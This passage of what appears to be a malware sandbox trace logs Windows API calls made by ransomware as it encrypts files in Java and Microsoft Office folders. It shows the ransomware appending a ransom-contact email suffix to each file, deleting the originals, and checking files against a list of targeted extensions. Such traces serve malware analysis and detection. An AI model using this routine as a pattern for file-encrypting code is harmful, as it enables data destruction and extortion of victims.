dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.397] GetLastError () returned 0x0 [0145.397] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x3bb, lpOverlapped=0x0) returned 1 [0145.434] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x3c0, lpOverlapped=0x0) returned 1 [0145.435] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.435] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xec, lpOverlapped=0x0) returned 1 [0145.435] SetEndOfFile (hFile=0x10c0) returned 1 [0145.435] CloseHandle (hObject=0x10c0) returned 1 [0145.436] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.436] SetEndOfFile (hFile=0x1098) returned 1 [0145.437] CloseHandle (hObject=0x1098) returned 1 [0145.437] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.437] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\welcome.html")) returned 1 [0145.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.437] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.437] lstrlenW (lpString=".doc") returned 4 [0145.437] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0145.437] lstrlenW (lpString=".docx") returned 5 [0145.437] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0145.437] lstrlenW (lpString=".pdf") returned 4 [0145.437] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0145.437] lstrlenW (lpString=".xls") returned 4 [0145.438] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0145.438] lstrlenW (lpString=".xlsx") returned 5 [0145.438] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0145.438] lstrlenW (lpString=".ppt") returned 4 [0145.438] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString=".zip") returned 4 [0145.438] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0145.438] lstrlenW (lpString=".rar") returned 4 [0145.438] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0145.438] lstrlenW (lpString=".bz2") returned 4 [0145.438] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0145.438] lstrlenW (lpString=".7z") returned 3 [0145.438] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString=".dbf") returned 4 [0145.438] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString=".1cd") returned 4 [0145.438] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString=".jpg") returned 4 [0145.438] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.438] lstrlenW (lpString=".doc") returned 4 [0145.438] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0145.438] lstrlenW (lpString=".docx") returned 5 [0145.438] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0145.438] lstrlenW (lpString=".pdf") returned 4 [0145.439] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0145.439] lstrlenW (lpString=".xls") returned 4 [0145.439] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0145.439] lstrlenW (lpString=".xlsx") returned 5 [0145.439] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0145.439] lstrlenW (lpString=".ppt") returned 4 [0145.439] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0145.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.439] lstrlenW (lpString=".zip") returned 4 [0145.439] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0145.439] lstrlenW (lpString=".rar") returned 4 [0145.439] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0145.439] lstrlenW (lpString=".bz2") returned 4 [0145.439] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0145.439] lstrlenW (lpString=".7z") returned 3 [0145.439] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0145.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.439] lstrlenW (lpString=".dbf") returned 4 [0145.439] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0145.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.439] lstrlenW (lpString=".1cd") returned 4 [0145.439] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0145.439] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 47 [0145.439] lstrlenW (lpString=".jpg") returned 4 [0145.439] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0145.439] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.440] lstrlenW (lpString="FileSystemMetadata.xml") returned 22 [0145.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.440] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=281) returned 1 [0145.440] CloseHandle (hObject=0x1098) returned 1 [0145.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 0x220 [0145.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.440] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.440] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.441] GetLastError () returned 0x0 [0145.441] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x119, lpOverlapped=0x0) returned 1 [0145.441] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x120, lpOverlapped=0x0) returned 1 [0145.442] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.442] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x100, lpOverlapped=0x0) returned 1 [0145.445] SetEndOfFile (hFile=0x10c0) returned 1 [0145.446] CloseHandle (hObject=0x10c0) returned 1 [0145.446] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.446] SetEndOfFile (hFile=0x1098) returned 1 [0145.447] CloseHandle (hObject=0x1098) returned 1 [0145.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0145.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml" (normalized: "c:\\program files\\microsoft office\\filesystemmetadata.xml")) returned 1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.448] lstrlenW (lpString=".doc") returned 4 [0145.448] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.448] lstrlenW (lpString=".docx") returned 5 [0145.448] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0145.448] lstrlenW (lpString=".pdf") returned 4 [0145.448] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.448] lstrlenW (lpString=".xls") returned 4 [0145.448] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.448] lstrlenW (lpString=".xlsx") returned 5 [0145.448] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0145.448] lstrlenW (lpString=".ppt") returned 4 [0145.448] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.448] lstrlenW (lpString=".zip") returned 4 [0145.448] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.448] lstrlenW (lpString=".rar") returned 4 [0145.449] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString=".bz2") returned 4 [0145.449] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString=".7z") returned 3 [0145.449] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.449] lstrlenW (lpString=".dbf") returned 4 [0145.449] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.449] lstrlenW (lpString=".1cd") returned 4 [0145.449] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.449] lstrlenW (lpString=".jpg") returned 4 [0145.449] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.449] lstrlenW (lpString=".doc") returned 4 [0145.449] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0145.449] lstrlenW (lpString=".docx") returned 5 [0145.449] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0145.449] lstrlenW (lpString=".pdf") returned 4 [0145.449] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString=".xls") returned 4 [0145.450] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString=".xlsx") returned 5 [0145.450] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0145.450] lstrlenW (lpString=".ppt") returned 4 [0145.450] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.450] lstrlenW (lpString=".zip") returned 4 [0145.450] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0145.450] lstrlenW (lpString=".rar") returned 4 [0145.450] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString=".bz2") returned 4 [0145.450] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString=".7z") returned 3 [0145.450] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0145.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.450] lstrlenW (lpString=".dbf") returned 4 [0145.450] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.450] lstrlenW (lpString=".1cd") returned 4 [0145.450] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0145.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned 56 [0145.450] lstrlenW (lpString=".jpg") returned 4 [0145.450] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0145.450] lstrcmpiW (lpString1=".HTM", lpString2=".com") returned 1 [0145.450] lstrlenW (lpString="OSPP.HTM") returned 8 [0145.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.451] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=174528) returned 1 [0145.452] CloseHandle (hObject=0x1098) returned 1 [0145.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0145.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.452] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.452] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.539] GetLastError () returned 0x0 [0145.539] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0145.687] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0145.691] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.691] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0145.691] SetEndOfFile (hFile=0x10c0) returned 1 [0145.691] CloseHandle (hObject=0x10c0) returned 1 [0145.696] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.696] SetEndOfFile (hFile=0x1098) returned 1 [0145.698] CloseHandle (hObject=0x1098) returned 1 [0145.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0145.698] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0145.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.698] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.698] lstrlenW (lpString=".doc") returned 4 [0145.698] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0145.699] lstrlenW (lpString=".docx") returned 5 [0145.699] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0145.699] lstrlenW (lpString=".pdf") returned 4 [0145.699] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0145.699] lstrlenW (lpString=".xls") returned 4 [0145.699] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0145.699] lstrlenW (lpString=".xlsx") returned 5 [0145.699] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0145.699] lstrlenW (lpString=".ppt") returned 4 [0145.699] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0145.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.699] lstrlenW (lpString=".zip") returned 4 [0145.699] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0145.699] lstrlenW (lpString=".rar") returned 4 [0145.699] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0145.699] lstrlenW (lpString=".bz2") returned 4 [0145.699] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0145.699] lstrlenW (lpString=".7z") returned 3 [0145.699] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0145.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.699] lstrlenW (lpString=".dbf") returned 4 [0145.699] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0145.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.699] lstrlenW (lpString=".1cd") returned 4 [0145.699] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0145.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.700] lstrlenW (lpString=".jpg") returned 4 [0145.700] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.700] lstrlenW (lpString=".doc") returned 4 [0145.700] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0145.700] lstrlenW (lpString=".docx") returned 5 [0145.700] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0145.700] lstrlenW (lpString=".pdf") returned 4 [0145.700] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString=".xls") returned 4 [0145.700] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString=".xlsx") returned 5 [0145.700] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0145.700] lstrlenW (lpString=".ppt") returned 4 [0145.700] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.700] lstrlenW (lpString=".zip") returned 4 [0145.700] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString=".rar") returned 4 [0145.700] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0145.700] lstrlenW (lpString=".bz2") returned 4 [0145.700] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0145.700] lstrlenW (lpString=".7z") returned 3 [0145.700] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0145.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.700] lstrlenW (lpString=".dbf") returned 4 [0145.700] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0145.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.701] lstrlenW (lpString=".1cd") returned 4 [0145.701] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0145.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0145.701] lstrlenW (lpString=".jpg") returned 4 [0145.701] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0145.701] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0145.701] lstrlenW (lpString="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned 53 [0145.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.702] GetFileSizeEx (in: hFile=0x1098, lpFileSize=0x30cff14 | out: lpFileSize=0x30cff14*=387356) returned 1 [0145.702] CloseHandle (hObject=0x1098) returned 1 [0145.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml")) returned 0x220 [0145.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0145.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0145.702] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.703] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0015-0000-1000-0000000ff1ce.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c0 [0145.703] GetLastError () returned 0x0 [0145.703] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x5e91c, lpOverlapped=0x0) returned 1 [0145.775] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x5e920, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x5e920, lpOverlapped=0x0) returned 1 [0145.782] ReadFile (in: hFile=0x1098, lpBuffer=0x3ae1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x30cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesRead=0x30cfecc*=0x0, lpOverlapped=0x0) returned 1 [0145.782] WriteFile (in: hFile=0x10c0, lpBuffer=0x3ae1020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x30cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ae1020*, lpNumberOfBytesWritten=0x30cfc94*=0x13e, lpOverlapped=0x0) returned 1 [0145.782] SetEndOfFile (hFile=0x10c0) returned 1 [0145.795] CloseHandle (hObject=0x10c0) returned 1 [0145.802] SetFilePointerEx (in: hFile=0x1098, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30cfec0 | out: lpNewFilePointer=0x0) returned 1 [0145.802] SetEndOfFile (hFile=0x1098) returned 1 [0145.806] CloseHandle (hObject=0x1098) returned 1 [0145.807] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 